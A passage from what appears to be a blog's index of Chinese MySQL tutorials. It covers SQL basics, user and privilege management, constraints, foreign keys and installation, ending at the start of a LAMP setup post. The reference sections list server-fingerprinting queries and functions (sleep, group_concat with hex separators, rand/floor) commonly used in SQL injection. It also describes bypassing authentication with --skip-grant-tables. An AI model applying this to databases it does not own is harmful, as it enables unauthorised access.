UPDATE等. DQL (Data Query Language) - 数据查询语言 用于查询数据库中表的记录(数据). 关键字包括:SELECT, WHERE等. DCL (Data Control Language) - 数据控制语言(了解) 用于定义数据库的访问权限和安全级别,以及创建用户. 关键字包括:GRANT, REVOKE等. 操作数据库数据库操作123456789create database 数据库名称; -- 创建数据库create database if exists 数据库名称; -- 判断数据库存在,存在再创建show databases; -- 显示数据库drop database 数据库名称; -- 删除数据库drop database if exists 数据库名称; -- 判断数据库存在,存在再删除show create database 数据库名称; -- 查询某个数据库的字符集alter database 数据库名称 character set utf8; -- 修改数据库的字符集将GBK改成utf8select database(); -- 查询当前正在使用的数据库名称use 数据库名称; -- 使用数据库 表操作1234567show tables; -- 查看表 默认一个新的数据库下面的表是空的create table student(id int,name varchar(37),age int); -- 创建一个表,在创建一个数据表的时候,必须加上列名和数据类型,不然会报错desc student; -- 查看列alter table student rename to xtd; -- 修改表名alter table 表名 character set 字符集名称; -- 修改表的字符集drop table 表名; -- 删除表drop table if exists 表名; -- 先判断再删除 数据类型 序号 数据类型 描述 格式示例 1 int 整数类型 - 2 double 小数类型 - 3 date 日期类型(只包含年月日) yyyy-MM-dd 4 datetime 日期类型(包含年月日时分秒) yyyy-MM-dd HH:mm:ss 5 timestamp 时间类型(包含年月日时分秒) yyyy-MM-dd HH:mm:ss 6 varchar 字符串类型 - 列操作12345desc student; -- 查看列alter table student add hight varchar(49); -- 在表中新添加一列alter table student change id ip int; -- 修改列名称 类型alter table abc01 modify ip varchar(89); -- 使用modify去修改列的类型alter table 表名 drop 列名; -- 删除列 数据操作字符串建议使用单引号 123456789101112insert into 表名(列名1,列名2,...列名n) values(值1,值2,...值n); -- 这里的列名可以不加,如果不加的话,后面的值就需要匹配所有的列,如果加列名,后面的值需要一一匹配;-- insert into student values("1","张三",18,"180");-- insert into student values("2","李四",19,"181"),("3","王二",18,"170"),("4","麻子",19,"177");select * from student; -- 查询表中所有数据-- select name from student;delete from 表名 where 判断; -- 删除选定列中的值-- delete from student where ip='1';-- delete from student where age=19;-- delete from student where name="王二";update 表名 set 列名1 = 值1,列名2 = 值2,...[where 条件]; -- 修改数据-- update student set hight='185' where ip='2'; -- 将学生表中ip为2的身高改为185select distinct name from student; -- 查询过滤重复后的数据 常量1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556-- 常用的数据库常量mysql> Select @@version_compile_os; -- 操作系统+----------------------+| @@version_compile_os |+----------------------+| Win64 |+----------------------+1 row in set (0.00 sec)mysql> Select @@tmpdir; -- 查看临时目录+-----------------------------------+| @@tmpdir |+-----------------------------------+| C:\\Users\\admin\\AppData\\Local\\Temp |+-----------------------------------+1 row in set (0.00 sec)mysql> Select @@datadir; -- 数据存放的位置+-------------------------------------------------------+| @@datadir |+-------------------------------------------------------+| D:\\Software\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\ |+-------------------------------------------------------+1 row in set (0.00 sec)mysql> Select @@basedir; -- 数据库服务所在位置+--------------------------------------------------+| @@basedir |+--------------------------------------------------+| D:\\Software\\phpstudy_pro\\Extensions\\MySQL5.7.26\\ |+--------------------------------------------------+1 row in set (0.00 sec)mysql> Select user(); -- 查看当前用户名+----------------+| user() |+----------------+| root@localhost |+----------------+1 row in set (0.00 sec)mysql> Select database(); -- 数据库名+------------+| database() |+------------+| wordpress |+------------+1 row in set (0.00 sec)mysql> Select version(); -- 获取当前版本号+-----------+| version() |+-----------+| 5.7.26 |+-----------+1 row in set (0.00 sec) 常用函数123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115group_concat() -- 将多条数据拼接为一条mysql> select group_concat(database(),0x5c,version());+-----------------------------------------+| group_concat(database(),0x5c,version()) |+-----------------------------------------+| wordpress\\5.7.26 |+-----------------------------------------+1 row in set (0.00 sec)CHAR(ASCII) -- 返回ASCII码对应的字符mysql> select CHAR(65);+----------+| CHAR(65) |+----------+| A |+----------+1 row in set (0.00 sec)ASCII(字符) -- 返回字符对应的ASCII码mysql> select ASCII('A');+------------+| ASCII('A') |+------------+| 65 |+------------+1 row in set (0.00 sec)MID(要截取的字符串,起始位置,截取长度) -- 截取字符串mysql> select mid('www.baidu.com',5,5);+--------------------------+| mid('www.baidu.com',5,5) |+--------------------------+| baidu |+--------------------------+1 row in set (0.00 sec)SUBSTR(要截取的字符串,起始位置,截取长度) -- 截取字符串mysql> select substr('www.baidu.com',5,5);+-----------------------------+| substr('www.baidu.com',5,5) |+-----------------------------+| baidu |+-----------------------------+1 row in set (0.00 sec)LENGTH(字符串) -- 返回字符串长度mysql> select length('www.baidu.com');+-------------------------+| length('www.baidu.com') |+-------------------------+| 13 |+-------------------------+1 row in set (0.00 sec)left(pa1,pa2) -- pa1被截取的字符串,从左开始截取,pa2是截取的位数mysql> select left('www.baidu.com',3);+-------------------------+| left('www.baidu.com',3) |+-------------------------+| www |+-------------------------+1 row in set (0.00 sec)right(pa1,pa2) -- pa1被截取的字符串,从右开始截取,pa2是截取的位数mysql> select right('www.baidu.com',3);+--------------------------+| right('www.baidu.com',3) |+--------------------------+| com |+--------------------------+1 row in set (0.00 sec)count() -- 聚集函数,统计元祖的个数mysql> select count(*) from users;+----------+| count(*) |+----------+| 13 |+----------+1 row in set (0.01 sec)rand() -- 用于产生一个0~1的随机数mysql> select rand();+-------------------+| rand() |+-------------------+| 0.663754786982904 |+-------------------+1 row in set (0.00 sec)mysql> select rand();+--------------------+| rand() |+--------------------+| 0.8483548628616657 |+--------------------+1 row in set (0.00 sec)floor() -- 向下取整mysql> select floor(1.882);+--------------+| floor(1.882) |+--------------+| 1 |+--------------+1 row in set (0.00 sec)sleep() -- 休眠mysql> select sleep(5);+----------+| sleep(5) |+----------+| 0 |+----------+1 row in set (5.01 sec) 其他排序查询 1234567select * from student order by ip;-- 默认是正序排序,如果加上desc就可以进行反序的排序--select * from student order by ip desc;select * from student where ip>=2 and ip<=4 order by ip;/*注意:如果有多个排序条件,则当前的条件值正确时,才会判断第二条件.*/ 聚合函数 123456789101112131415select count(*) as age from student; -- 计算表student中的age的个数是多少个,默认去掉NULL值;/*1.count:计算个数 1. 一般选择非空的列:主键 2. count(*)2.max:计算最大值3.min:计算最小值4.sum:计算和5.avg:计算平均值*//*注意:聚合函数的计算,排除null值.解决方案:1. 选择不包含空的列进行计算2. IFNULL函数*/ 分组查询 123456789select age,count(*) as num from student group by age; -- 分组查询相同年龄的个数 /* 注意:1.分组之后查询的字段:分组字段、聚合函数2.where 和 having的区别?1. where 在分组之前进行限定,如果不满足条件,则不参与分组.having在分组之后进行限定,如果不满足结果,则不会被查询出来2. where 后不可以跟聚合函数,having可以进行聚合函数的判断.*/ 分页查询 1234567SELECT * FROM student LIMIT 5; -- 查询学生表5条数据SELECT * FROM student LIMIT 0,5; -- 查询学生表5条数据SELECT * FROM student LIMIT 1,4; -- 查询学生表第1条之后的4条数据/*1)limit a,b 后缀两个参数的时候(参数必须是一个整数常量),其中a是指记录开始的偏移量,b是指从第a+1条开始,取b条记录.(这里计数就是从id=1开始的没有从0开始)2)limit b 后缀一个参数的时候,是直接取值到第多少位,类似于:limit 0,b .*/ 用户管理MySQL 权限表MySQL在安装时会自动创建一个名为mysql的数据库.这个数据库中包含重要的用户权限表,这些表定义了用户的权限: user表 和 db表 是两个关键的权限表: user表记录了可以连接到MySQL服务器的账户信息. db表存储了用户对特定数据库的操作权限. 在user表中激活的权限是全局级别的,适用于所有数据库. db表中的权限则是数据库级别的,针对用户对某个数据库的权限而设置. user表中的字段分类 用户列:存储了用户登录的主机名和账号密码. 权限列:定义了用户在全局范围内对数据和数据库的操作权限. 安全列:用于判断用户是否可以成功登录. 资源控制列:限制用户使用的资源,如每小时的查询次数、更新次数和连接次数等. 创建用户123456789101112131415161718-- 创建普通用户(两种方式)-- 1.1 密码无加密create user username@hostname identified by 'password';-- create user test@127.0.0.1 identified by 'test';-- 1.2 密码加密select password('test'); -- 获取哈希值-- 94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29-- create user test@127.0.0.1 identified by password'*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29';-- username是用户名,host_name为主机名,若不加主机名,表示对所有主机开放权限.初始用户可不设置密码,若该用户不设密码可忽略identified by,PASSWORD 表示使用哈希值设置密码,该参数可选.-- 使用 CREATE USER 语句必须拥有 mysql 数据库的 INSERT 权限或全局 CREATE USER 权限.-- CREATE USER 语句可以同时创建多个用户,多个用户用逗号隔开.INSERT INTO mysql.user(Host, User, authentication_string, ssl_cipher, x509_issuer, x509_subject) VALUES ('hostname', 'username', PASSWORD('password'), '', '', '');FLUSH PRIVILEGES; -- 使用 FLUSH 命令让用户生效-- 使用该语句必须拥有对 mysql.user 表的 INSERT 权限-- 创建用户,并授予权限GRANT priv_type ON database.table TO user [IDENTIFIED BY [PASSWORD] 'password']-- grant select on *.* to test1@localhost identified by 'test1';-- database.table 参数表示新用户的权限范围 查看用户1234567SELECT user FROM mysql.user;-- 查询所有用户-- 要执行上面这个查询,必须以管理员身份登录select user();-- 查看当前用户信息SELECT user,host,db,command FROM information_schema.processlist;-- 查询当前登录用户的信息,防止黑客号登录 修改用户12345678910修改账号:RENAME USER <旧用户账号> TO <新用户账号>rename user test to test2-- 若系统中旧账户不存在或者新账户已存在,该语句执行时会出现错误.-- 使用 RENAME USER 语句,必须拥有 mysql 数据库的 UPDATE 权限或全局 CREATE USER 权限.修改密码:SET PASSWORD = PASSWORD('test1');-- 使用 SET 语句将密码更改为"test1"-- set password = 'test1' 删除用户12345678910两种方法:1.-- DROP USER <用户1>,<用户2>...drop user test1@localhost,test@127.0.0.1;-- 必须拥有 mysql 数据库的 DELETE 权限或全局 CREATE USER 权限.-- 在 DROP USER 语句的使用中,若没有明确地给出账户的主机名,则该主机名默认为"%".-- 用户的删除不会影响他们之前所创建的表、索引或其他数据库对象,因为 MySQL 并不会记录是谁创建了这些对象.2.DELETE FROM mysql.user WHERE Host='hostname' AND User='username';-- 必须拥有 mysql.user 表的 DELETE 权限. 权限MySQL通过不同的权限表来实现细粒度的权限控制.以下是各个级别的权限表及其作用: user - 全局级别权限 适用于所有数据库的权限. 控制用户的基本权限,如登录服务器等. db - 数据库级别权限 针对单个数据库的权限. 允许用户对特定数据库执行操作. tables_priv - 表级别权限 控制用户在特定数据库表上的操作. 包括增删改查等基本表操作权限. columns_priv - 列级别的权限 针对表中的列设置的权限. 可以对单独的列进行权限控制. procs_priv - 存储过程和函数的权限 管理用户对存储过程和函数的执行权限. 控制调用和管理存储过程的能力. 1234567891011121314151617181920212223242526272829303132333435363738394041421.查看用户权限select * from mysql.user;-- 必须拥有对 user 表的查询权限.show grants for 'username'@'hostname';show grants for test@localhost;-- 返回 GRANT USAGE ON *.* TO 'test'@'localhost' 代表无权限在所有数据库中-- 对比root返回 GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' WITH GRANT OPTION2.授予用户权限GRANT priv_type [(column_list)] ON database.tableTO user [IDENTIFIED BY [PASSWORD] 'password'][, user[IDENTIFIED BY [PASSWORD] 'password']] ...[WITH with_option [with_option]...]-- 拥有grant权限的用户才能使用grant/***GRANT SELECT,INSERT ON *.* TO test@localhost IDENTIFIED BY 'test' WITH GRANT OPTION;***//*** *:表示当前数据库中的所有表. *.*:表示所有数据库中的所有表. db_name.*:表示某个数据库中的所有表,db_name 指定数据库名. db_name.tbl_name:表示某个数据库中的某个表或视图,db_name 指定数据库名,tbl_name 指定表名或视图名. db_name.routine_name:表示某个数据库中的某个存储过程或函数,routine_name 指定存储过程名或函数名. TO 子句:如果权限被授予给一个不存在的用户,MySQL 会自动执行一条 CREATE USER 语句来创建这个用户,但同时必须为该用户设置密码.***/3.删除用户权限(1)REVOKE priv_type [(column_list)]...ON database.tableFROM user [, user]...-- 删除用户某些特定的权限(2)REVOKE ALL PRIVILEGES, GRANT OPTION FROM user [, user] ...-- 删除特定用户的所有权限revoke all privileges,grant option from test@localhost; root用户操作1234567891011121314151617181920211.修改普通用户密码:(1)set 语句SET PASSWORD FOR 'username'@'hostname' = PASSWORD ('newpwd');set password for test@localhost = 'test1';-- 普通用户自己修改密码 SET PASSWORD = PASSWORD('test1');(2)update 语句UPDATE MySQL.user SET authentication_string = PASSWORD("newpwd") WHERE User = "username" AND Host = "hostname";-- 执行 UPDATE 语句后,需要执行 flush privileges语句重新加载用户权限(3)grant 语句GRANT USAGE ON *.* TO 'user'@'hostname' IDENTIFIED BY 'newpwd';-- 使用 GRANT 语句修改密码,必须拥有 GRANT 权限(usage 无权限且权限不能被回收,也即REVOKE用户并不能删除用户)-- 也可创建用户并赋予权限2.修改root用户密码:(1)mysqladmin 语句mysqladmin -u username -h hostname -p password "xtd"-- 必须用双引号括起来,如果使用单引号会引发错误.-- mysqladmin -u root -h localhost -p password "xtd"(2)SET PASSWORD 语句SET PASSWORD = PASSWORD("xtd");-- set password = password("xtd")-- 可以双引号也可以单引号 约束概念约束是定义在数据库表的字段上的一系列规则,它们用于: 限制被存储在字段中的数据类型或值. 确保数据的一致性和符合逻辑的关系. 目的主要目的是: 数据正确性:确保用户输入的数据满足预定义的标准. 数据有效性:只有符合约束条件的数据才能被接受进入数据库. 数据完整性:维护数据的完整性,防止错误数据的产生. 分类 约束是作用于表中字段上的,可以在创建表/修改表的时候添加约束 约束演示上面我们介绍了数据库中常见的约束,以及约束涉及到的关键字,那这些约束我们到底如何在创建表、 修改表的时候来指定呢,接下来我们就通过一个案例,来演示一下. 案例需求:根据需求,完成表结构的创建。 需求如下: 对应的建表语句为: 1234567CREATE TABLE tb_user( id int AUTO_INCREMENT PRIMARY KEY COMMENT 'ID唯一标识', name varchar(10) NOT NULL UNIQUE COMMENT '姓名' , age int check (age > 0 && age <= 120) COMMENT '年龄' , status char(1) default '1' COMMENT '状态', gender char(1) COMMENT '性别' ); 在为字段添加约束时,我们只需要在字段之后加上约束的关键字即可,需要关注其语法.我们执行上面的SQL把表结构创建完成,然后接下来,就可以通过一组数据进行测试,从而验证一下,约束是否可以生效. 1234567891011121314151617-- 一条语句插入多个用户INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom1', 19, '1', '男'), ('Tom2', 25, '0', '男');-- 每次插入一个用户INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom3', 19, '1', '男');-- 如果 name 列不允许 NULL,则这条语句会失败-- INSERT INTO tb_user (name, age, status, gender) VALUES (NULL, 19, '1', '男');INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom3', 19, '1', '男');INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom4', 80, '1', '男');-- 如果 age 列有 CHECK 约束只允许正数,则这条语句会失败-- INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom5', -1, '1', '男');-- 如果 age 列有 CHECK 约束限制年龄不超过 120,则这条语句会失败-- INSERT INTO tb_user (name, age, status, gender) VALUES ('Tom5', 121, '1', '男');-- 假设 status 列允许 NULL 或有默认值INSERT INTO tb_user (name, age, gender) VALUES ('Tom5', 120, '男'); 上面,我们是通过编写SQL语句的形式来完成约束的指定,那加入我们是通过图形化界面来创建表结构时,又该如何来指定约束呢? 只需要在创建表的时候,根据我们的需要选择对应的约束即可. 外键约束介绍外键:用来让两张表的数据之间建立连接,从而保证数据的一致性和完整性.我们来看一个例子: 员工信息表(emp)概述:emp 表是一个员工表,它包含了员工的基本信息.字段信息:字段名数据类型描述IDint员工的唯一标识姓名varchar员工的姓名年龄int员工的年龄职位varchar员工的职位薪资decimal员工的薪资入职日期date员工的入职日期上级主管IDint上级主管的员工ID部门IDint员工所属部门的ID关联信息:dept_id 字段是一个外键,它关联到 dept 表的主键 id.部门表(dept)概述: dept 表存储部门的详细信息.字段信息:字段名数据类型描述idint部门的唯一标识……… 注意事项 尽管 emp 表的 dept_id 在逻辑上关联到 dept 表的主键 id,当前数据库结构未实际建立外键约束. 因此: 数据库层面无法自动保证数据的一致性和完整性. 需要手动处理数据关联和完整性问题. 没有数据库外键关联的情况下,能够保证一致性和完整性呢,我们来测试一下.准备数据 12345678910111213141516171819202122232425262728293031323334-- 创建部门表 deptCREATE TABLE dept ( id INT AUTO_INCREMENT COMMENT 'ID' PRIMARY KEY, name VARCHAR(50) NOT NULL COMMENT '部门名称') COMMENT '部门表';-- 向部门表插入数据INSERT INTO dept (name) VALUES ('研发部'), ('市场部'),('财务部'), ('销售部'), ('总经办');-- 创建员工表 empCREATE TABLE emp ( id INT AUTO_INCREMENT COMMENT 'ID' PRIMARY KEY, name VARCHAR(50) NOT NULL COMMENT '姓名', age INT COMMENT '年龄', job VARCHAR(20) COMMENT '职位', salary INT COMMENT '薪资', entrydate DATE COMMENT '入职时间', managerid INT COMMENT '直属领导ID', dept_id INT COMMENT '部门ID') COMMENT '员工表';-- 向员工表插入数据INSERT INTO emp (name, age, job, salary, entrydate, managerid, dept_id) VALUES ('金庸', 66, '总裁', 20000, '2000-01-01', NULL, 5),('张无忌', 20, '项目经理', 12500, '2005-12-05', 1, 1),('杨逍', 33, '开发', 8400, '2000-11-03', 2, 1),('韦一笑', 48, '开发', 11000, '2002-02-05', 2, 1),('常遇春', 43, '开发', 10500, '2004-09-07', 3, 1),('小昭', 19, '程序员鼓励师', 6600, '2004-10-12', 2, 1); 接下来,我们可以做一个测试,删除id为1的部门信息 结果,我们看到删除成功,而删除成功之后,部门表不存在id为1的部门,而在emp表中还有很多的员工,关联的为id为1的部门,此时就出现了数据的不完整性. 而要想解决这个问题就得通过数据库的外键约束. 语法添加外键创建一个新表,并希望在创建时定义外键约束的语法如下: 12345CREATE TABLE 表名 ( 字段名 数据类型, ... CONSTRAINT 外键名称 FOREIGN KEY (外键字段名) REFERENCES 主表 (主表列名)); 若要为已存在的表添加外键约束,则使用 ALTER TABLE 语句: 12ALTER TABLE 表名ADD CONSTRAINT 外键名称 FOREIGN KEY (外键字段名) REFERENCES 主表 (主表列名); 根据您提供的案例,为 emp 表的 dept_id 字段添加外键约束,关联 dept 表的主键 id,语句应该格式化如下: 12ALTER TABLE empADD CONSTRAINT fk_emp_dept_id FOREIGN KEY (dept_id) REFERENCES dept(id); 这个 ALTER TABLE 语句的意义是: ALTER TABLE emp 表示要修改的是名为 emp 的表. ADD CONSTRAINT fk_emp_dept_id 是在 emp 表上添加一个新的约束,并且给这个约束命名为 fk_emp_dept_id. FOREIGN KEY (dept_id) 表示约束类型是外键,且外键列是 emp 表中的 dept_id. REFERENCES dept(id) 指定外键 dept_id 引用 dept 表的 id 列.这里假设 dept 表的 id 列是主键列. 确保在执行这个 ALTER TABLE 语句之前,dept 表已经存在,且 dept 表中有名为 id 的列,该列为主键或至少具有唯一约束.同时,emp 表中的 dept_id 列的数据类型应与 dept 表中的 id 列相匹配. 添加了外键约束之后,我们再到dept表(父表)删除id为1的记录,然后看一下会发生什么现象. 此时将会报错,不能删除或更新父表记录,因为存在外键约束. 删除外键123ALTER TABLE 表名 DROP FOREIGN KEY 外键名称;-- 案例:删除emp表的外键fk_emp_dept_id.alter table emp drop foreign key fk_emp_dept_id; 删除/更新行为添加了外键之后,再删除父表数据时产生的约束行为,我们就称为删除/更新行为.具体的删除/更新行为有以下几种: 123456789101112131415161718-- 语法ALTER TABLE 表名ADD CONSTRAINT 外键名称FOREIGN KEY (外键字段)REFERENCES 主表名 (主表字段名)ON UPDATE CASCADEON DELETE CASCADE;-- 将 emp 表的 dept_id 字段添加为外键,并设置级联更新以及级联删除的语句ALTER TABLE empADD CONSTRAINT fk_emp_dept_idFOREIGN KEY (dept_id)REFERENCES dept(id)ON UPDATE CASCADEON DELETE CASCADE;-- 修改父表id为1的记录,将id修改为6UPDATE dept SET id = 6 WHERE id = 1; 这个语句的意义是: ALTER TABLE emp 表示要修改的是名为 emp 的表. ADD CONSTRAINT fk_emp_dept_id 是在 emp 表上添加一个新的约束,并且给这个约束命名为 fk_emp_dept_id. FOREIGN KEY (dept_id) 表示约束类型是外键,且外键列是 emp 表中的 dept_id. REFERENCES dept(id) 指定外键 dept_id 引用 dept 表的 id 列,且 dept 表的 id 应该是主键或具有唯一性约束. ON UPDATE CASCADE 表示如果 dept 表中的 id 列发生变化,将自动更新 emp 表中的对应 dept_id 字段. ON DELETE CASCADE 表示如果从 dept 表中删除了某条记录,将自动删除 emp 表中所有 dept_id 与该记录 id 相匹配的行. 我们发现,原来在子表中dept_id值为1的记录,现在也变为6了,这就是cascade级联的效果.在一般的业务系统中,不会修改一张表的主键值 12-- 删除父表id为6的记录DELETE FROM dept WHERE id = 6; 我们发现,父表的数据删除成功了,但是子表中关联的记录也被级联删除了. SET NULL 首先,我们需要删除已经存在的外键约束 fk_emp_dept_id 1ALTER TABLE emp DROP CONSTRAINT fk_emp_dept_id; 接下来,我们通过数据脚本将 emp 和 dept 表的数据恢复到所需状态. 随后,我们再次添加新的外键约束 fk_emp_dept_id,这次设置 ON UPDATE SET NULL 和 ON DELETE SET NULL 123456ALTER TABLE empADD CONSTRAINT fk_emp_dept_idFOREIGN KEY (dept_id)REFERENCES dept(id)ON UPDATE SET NULLON DELETE SET NULL; 执行了以上步骤后,外键的行为已经改变.现在,当从 dept 表中删除 id 为 1 的记录时,所有在 emp 表中 dept_id 为 1 的记录的 dept_id 字段会被设置为 NULL.这标明这些 emp 记录现在不再关联到任何 dept 表中的记录. 我们可以使用下面的 SQL 命令来删除 dept 表中 id 为 1 的记录: 1DELETE FROM dept WHERE id = 1; 删除操作执行后,由于设置了 ON DELETE SET NULL 约束,所有在 emp 表中引用 dept 表 id 为 1 的 dept_id 字段的值会被设置为 NULL. 在执行这样的操作之前,请确保子表的外键列允许 NULL 值.如果外键列被定义为 NOT NULL,则尝试将其设置为 NULL 将会引发错误. 我们发现父表的记录是可以正常的删除的,父表的数据删除之后,再打开子表 emp,我们发现子表emp 的dept_id字段,原来dept_id为1的数据,现在都被置为NULL了. 这就是SET NULL这种删除/更新行为的效果.","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"Linux-MySQL从入门到精通(上)","path":"/2024/01/29/2e455f59/","content":"总字符数: 4.44K 代码: 0.42K, 文本: 2.22K 预计阅读时间: 11 分钟 简介 ​\tMySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一. 信息与数据信息 信息(Information)就是对各种事物的存在方式、运动状态和相互联系特征的一种表达和陈述,是自然界、人类社会和人类思维活动普遍存在的一切物质和事物的属性,它存在于人们的周围. 数据 数据(Data)是用来记录信息的可识别的符号,是信息的具体表现形式.数据用型和值来表示,数据的型是指数据内容存储在媒体上的具体形式;值是指所描述的客观事物的具体特性.如一个人的身高可以表示为”1.80”或”1米8”,其中”1.80”和”1米8”是值,但这两个值的型是不一样的,一个用数字来描述,而另一个用字符来描述.数据不仅包括数字、文字形式,而且还包括图形、图像、声音、动画等多媒体数据. 数据处理 数据处理是指将数据转换成信息的过程,也称信息处理. 数据处理的内容主要包括数据的收集、组织、整理、存储、加工、维护、查询和传播等一系列活动 数据处理的目的是从大量的数据中,根据数据自身的规律和它们之间固有的联系,通过分析、归纳、推理等科学手段,提取出有效的信息资源. 数据处理的工作分为以下3个方面. 数据管理.主要任务是收集信息,将信息用数据表示并按类别组织保存. 数据加工.主要任务是对数据进行变换、抽取和运算. 数据传播.通过数据传播,信息在空间或时间上以各种形式传递. 现实世界现实世界是存在于人们头脑之外的客观世界.现实世界存在各种事物,事物与事物之间存在联系,这种联系是由事物本身的性质决定的.例如,学校中有教师、学生、课程,教师为学生授课,学生选修课程并取得成绩;图书馆中有图书、管理员和读者,读者借阅图书,管理员对图书和读者进行管理等. 信息世界 实体(Entity):客观存在并且可以相互区别的事物称为实体.实体可以是具体的事物,也可以是抽象的事件. 属性(Attribute):描述实体的特性.一个实体可以用若干个属性来描述. 码(Key):唯一标识实体的属性或属性的组合. 域(Domain):属性的取值范围称为该属性的域. 联系(Relationship) 在现实世界中,事物内部以及事物之间是有联系的,这些联系在信息世界中反映为实体(型)内部的联系和实体(型)之间的联系.实体内部的联系通常是指组成实体的各属性之间的联系;实体之间的联系通常是指不同实体集之间的联系.两个实体型之间的联系可以分为3类. 一对一联系(One-to-One Relationship) 一对多联系(One-to-Many Relationship) 多对多联系(Many-to-Many Relationship) 数据世界 数据世界又称机器世界.信息世界的信息在机器世界中以数据形式存储,在这里,每一个实体用记录表示,相应于实体的属性用数据项(又称字段)来表示,现实世界中的事物及其联系用数据模型来表示. 现实世界中客观对象的抽象过程如下图所示: 数据库相关概念数据库 数据库(Data Base,DB)是长期存放在计算机内、有组织的、可共享的相关数据的集合,它将数据按一定的数据模型组织、描述和存储,具有较小的冗余度、较高的数据独立性和易扩展性、可被各类用户共享等特点. 数据库管理系统 数据库管理系统(Data Base Management System,DBMS)是位于用户与操作系统(OS)之间的一层数据管理软件,它为用户或应用程序提供访问数据库的方法,包括数据库的创建、查询、更新及各种数据控制,它是数据库系统的核心. 数据库管理系统一般由计算机软件公司提供,目前比较流行的DBMS有Oracle、Access、SQL Server、MySQL、PostgreSQL等. 数据库应用系统 凡使用数据库技术管理其数据的系统都称为数据库应用系统(Data Base Application System).数据库应用系统的应用非常广泛,它可以用于事务管理、计算机辅助设计、计算机图形分析和处理及人工智能等系统中. 数据库系统 数据库系统(Data Base System,DBS)是指在计算机系统中引入数据库后的系统,它由计算机硬件、数据库、数据库管理系统(及其开发工具)、数据库应用系统、数据库用户构成. 数据库管理员 数据库管理员(Data Base Administrator,DBA)是高级用户,他的任务是对使用中的数据库进行整体维护和改进,负责数据库系统的正常运行,他是数据库系统的专职管理和维护人员. 数据库系统的各组成部分的层次关系 MySQL自动建立的数据库介绍MySQL安装完成之后,将会在其data目录下自动创建information_schema、mysql、performance_schema、sys四个数据库.可以使用SHOW DATABASES命令来查看当前所有存在的数据库. 数据库名称 数据库作用 mysql 描述用户访问权限 information_schema 保存关于MySQL服务器所维护的所有其他数据库的信息.如数据库名、数据库的表、表栏的数据类型与访问权限等 MySQL安装及启动https://www.mysql.com/https://www.mysql.com/ https://downloads.mysql.com/archives/installer/https://downloads.mysql.com/archives/installer/ 安装可参考以下大佬的文章: https://blog.csdn.net/qq_27009225/article/details/103956756https://blog.csdn.net/qq_27009225/article/details/103956756 版本类型 MySQL Community Server MySQL Enterprise Edition 成本 免费 收费 技术支持 无官方支持 官方提供 试用期 不适用 30天试用期 版本 8.0.26(社区版的最新版本) 取决于企业版的发布周期 启动停止MySQL安装完成之后,在系统启动时,会自动启动MySQL服务,我们无需手动启动了.当然,也可以手动的通过指令启动停止,以管理员身份运行cmd,进入命令行执行如下指令: 12net start mysql80 net stop mysql80 请在安装完毕后配置PATH环境变量 连接MySQL1mysql -h主机地址 -u用户名 -p用户密码 连接到本机上的MySQL1mysql -uroot -p 连接到远程主机上的MySQL12# 假设远程主机的IP为:192.168.206.100,用户名为root,密码为12345678mysql -h192.168.206.100 -uroot -p12345678; 退出MySQL命令1exit/quit; MySQL–修改密码1格式:mysqladmin -u用户名 -p旧密码 password 新密码 root密码为空时,设置root密码12# 因为开始时root没有密码,所以-p旧密码 可以省略mysqladmin -uroot newpassword; 使用 sqladmin 命令修改密码1mysqladmin -uroot -p123456 password 12345678; 使用set passsword命令修改密码1set password for 用户名@localhost = password('新密码'); 忘记root密码情况下 关闭正在运行的MySQL服务. 打开DOS窗口,转到mysql\\bin目录. 输入mysqld –skip-grant-tables 回车.–skip-grant-tables 的意思是启动MySQL服务的时候跳过权限表认证. 再开一个DOS窗口(因为刚才那个DOS窗口已经不能动了),输入mysql回车,如果成功,将出现MySQL提示符 >. 使用权限数据库: use mysql; 改密码update user set password=password("新密码") where user="root"; 刷新权限(必须步骤):flush privileges; 退出mysql quit;","tags":["Centos","运维","Mysql","数据库"],"categories":["安全运维","数据库"]},{"title":"Linux-Web服务器搭建的艺术","path":"/2024/01/28/afbfc1f7/","content":"总字符数: 22.19K 代码: 13.09K, 文本: 2.54K 预计阅读时间: 1.13 小时 引言: LAMP架构是目前成熟的企业网站应用模式之一,指的是协同工作的一整台系统和相关软件,能够提供动态web站点服务及其应用开发环境,LAMP是一个缩写词,具体包括Linux操作系统,Apache网站服务器,MySQL数据库服务器,PHP(或perl,Python)网页编程语言 一、LAMP概述LAMP架构是目前成熟的企业网站应用模式之一,指的是协同工作的一整套系统和相关软件,能够提供动态Web站点服务及其应用开发环境.LAMP是一个缩写词,具体包括Linux操作系统、Apache网站服务器、MySQL数据库服务器、PHP(或Perl、Python)网页编程语言. 1、各组件作用 组件 代号 描述 Linux L 作为LAMP架构的基础,提供用于支撑Web站点的操作系统,能够与其他三个组件提供更好的稳定性,兼容性(AMP组件也支持Windows、UNIX等平台). Apache A 作为LAMP架构的前端,是一款功能强大,稳定性好的Web服务器程序,该服务器直接面向用户提供网站访问,发送网页,图片等文件内容.(静态页面—>静态请求 http) MySQL M 作为LAMP架构的后端,是一款流行的开源关系数据库系统.在企业网站、业务系统等应用中,各种账户信息、产品信息,客户资料、业务数据等都可以存储到MySQL数据库,其他程序可以通过SQL语句来查询,更改这些信息.(数据库—>数据储存/读取) PHP/Perl/Python P 作为三种开发动态网页的编程语言,负责解释动态网页文件,负责沟通Web服务器和数据库系统以协同工作,并提供Web应用程序的开发和运行环境.其中PHP是一种被广泛应用的开放源代码的多用途脚本语言,它可以嵌入到HTML中,尤其适合于Web应用开发.(动态页面—->动态请求 http) 2、各组件安装顺序在构建LAMP平台时,各组件的安装顺序依次为Linux、Apache、MySQL、PHP.其中Apache和MySQL的安装并没有严格的顺序,PHP环境的安装一般放到最后安装,负责沟通 Web 服务器和数据库系统以协同工作. 3.数据流向 二、编译安装Apache 